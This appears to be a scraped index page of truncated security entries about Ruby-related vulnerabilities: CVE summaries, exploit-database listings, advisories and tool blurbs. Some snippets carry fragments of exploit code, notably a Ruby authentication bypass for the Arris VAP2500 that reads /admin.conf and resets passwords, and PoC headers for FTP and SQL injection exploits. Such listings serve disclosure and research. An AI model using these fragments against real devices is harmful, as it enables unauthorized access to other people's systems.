Hashicorp vagrant-vmware-fusion 4.0.23 Local Root Privilege Escalation

CVE-2017-11741 Local root privesc in Hashicorp vagrant-vmware-fusion = 4.0.23 2 Aug 2017 06:49 A couple of weeks ago I disclosed a local root privesc in Hashicorp's vagrant-vmware-fusion plugin: https://m4.rkw.io/blog/cve20177642-local-root-privesc-in-hashicorp-vagrantvmwarefusion--4020.html The...

CVE-2017-7642

The sudo helper in the HashiCorp Vagrant VMware Fusion plugin aka vagrant-vmware-fusion before 4.0.21 allows local users to gain root privileges by leveraging failure to verify the path to the encoded ruby script or scrub the PATH variable...

CVE-2017-7642

The sudo helper in the HashiCorp Vagrant VMware Fusion plugin aka vagrant-vmware-fusion before 4.0.21 allows local users to gain root privileges by leveraging failure to verify the path to the encoded ruby script or scrub the PATH variable...

CVE-2017-11465

The parseryyerror function in the UTF-8 parser in Ruby 2.4.1 allows attackers to cause a denial of service invalid write or read or possibly have unspecified other impact via a crafted Ruby script, related to the parsertokaddutf8 function in parse.y. NOTE: this might have security relevance as a...

RPCBind / libtirpc - Denial of Service Exploit

Exploit for linux platform in category dos / poc !/usr/bin/ruby Source: https://raw.githubusercontent.com/guidovranken/rpcbomb/fe53048af2d4fb78c911e71a30f21afcffbbf5e1/rpcbomb.rb By Guido Vranken https://guidovranken.wordpress.com/ Thanks to Sean Verity for writing an exploit in Ruby for an earli...

Airia Shell Upload

Exploit Title: Airia - Webshell Upload Vulnerability Date: 2016-06-20 Exploit Author: HaHwul Exploit Author Blog: www.hahwul.com Vendor Homepage: http://ytyng.com Software Link: https://github.com/ytyng/airia/archive/master.zip Version: Latest commit Tested on: Debian wheezy require "net/http"...

Ruby Web Applications Vulnerability Scanner: Yasuo

Ruby Web Applications Vulnerability Scanner Yasuo is a ruby script that scans for vulnerable 3rd-party web applications While working on a network security assessment internal, external, redteam gigs etc., we often come across vulnerable 3rd-party web applications or web front-ends that allow us ...

Chemtool 1.6.14 - Memory Corruption Vulnerability

Exploit for linux platform in category dos / poc Document Title: =============== Chemtool 1.6.14 Memory Corruption Vulnerability Date: ============= 08/02/2015 Vendor Homepage: ================ http://ruby.chemie.uni-freiburg.de/martin/chemtool/ Abstract Advisory Information:...

Search all Github Repositories for an Organization

gumbler is a script I wrote to search through git commits and introduced in the blog post "Searching Through Git Commits". Recently I wanted to run Gumbler across all repositories for an organization, the steps are discussed below. First, we need to grab a list of repositories for the ORG. This c...

Arris VAP2500 - Authentication Bypass

Arris VAP2500 - Authentication Bypass !/usr/bin/env ruby require 'net/http' require 'digest/md5' if !ARGV0 puts "Usage: $0 " exit0 end host = ARGV0 newpass = "h4x0r3d!" http = Net::HTTP.newhost.start users = nil users = http.requestget"/admin.conf".body.split"\n".map! |user| user.sub/^.?,.$/,"\1"...

Arris VAP2500 - Authentication Bypass

!/usr/bin/env ruby require 'net/http' require 'digest/md5' if !ARGV0 puts "Usage: $0 " exit0 end host = ARGV0 newpass = "h4x0r3d!" http = Net::HTTP.newhost.start users = nil users = http.requestget"/admin.conf".body.split"\n".map! |user| user.sub/^.?,.$/,"\1" if users puts " found user accounts:...

Rumpus 5.1 - Local Privilege Escalation / Remote FTP LIST PoC Exploit

No description provided by source. !/usr/bin/ruby Copyright c Lance M. Havok lmh at info-pull.com Kevin Finisterre kflists at digitalmunition.com Proof of concept for issues described in MOAB-18-01-2007. require 'net/ftp' require 'socket' bugselected = ARGV0 || 0.toi targethost = ARGV1 || localho...

Traidnt UP 2.0 - Remote SQL Injection Exploit

No description provided by source. !/usr/bin/ruby ============================================= Traidnt UP v2.0 Exploit SQL Injection Vulnerability --------------------------------------------- Date: 05-08-2009 Discovered & written by: Jafer Al-Zidjali Email: jaferatscorpionds.com Website:...

Apple QuickTime 7.1.3 Plug-In Arbitrary Script Execution Weakness

No description provided by source. source: http://www.securityfocus.com/bid/20138/info Apple QuickTime plug-in is prone to an arbitrary-script-execution weakness when executing QuickTime Media Link files .qtl. An attacker can exploit this issue to execute arbitrary script code in the context of t...

Host-Extract - Enumerate All IP/Host Patterns In A Web Page

This little ruby script tries to extract all IP/Host patterns in page response of a given URL and JavaScript/CSS files of that URL. With it, you can quickly identify internal IPs/Hostnames, development IPs/ports, cdn, load balancers, additional attack entries related to your target that are...

Bandizip 3.09 Crash Proof Of Concept

!/usr/bin/env ruby Exploit Title: Bandizip 3.09 .zip Crash POC Date: February 6th 2014 Author: Osanda Malith Jayathissa E-Mail: osandajayathissagmail.com Version: 3.09 32bit and 64bit Below versions might be affected Vendor Homepage: http://www.bandisoft.com/ Tested on: Windows XP 32-bit SP2 en,...

ARRIS DG860A NVRAM Backup Compressor / Decompressor

! /usr/bin/env ruby ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor? Gleaned from scmix executable in firmware dump. Backup file is world readable without authentication and contains password information in plain text. box:arris-dev cosmo$ wget http://192.168.0.1/router.da...

New Jigsaw Hacking Tool Spotted in Attacks

If you’ve run an internal phishing exercise, chances are you may have used Jigsaw, an open source penetration testing tool that enables security teams to automatically generate email address combinations from a minimal amount of public information. As with other open source security and networkin...

ActiveScriptRuby vulnerable to arbitrary Ruby script execution

Overview ActiveScriptRuby contains a vulnerability where an arbitrary Ruby script may be executed on a web browser that can execute ActiveX controls when HTML is displayed. ActiveScriptRuby is a software to implement Ruby into a Windows environment. ActiveScriptRuby contains a vulnerability where...

JVN#33283707: ActiveScriptRuby vulnerable to arbitrary Ruby script execution

ActiveScriptRuby is a software to implement Ruby into a Windows environment. ActiveScriptRuby contains a vulnerability where an arbitrary Ruby script may be executed on the web browser that can execute ActiveX controls when HTML is displayed. Impact A remote attacker may be able to obtain...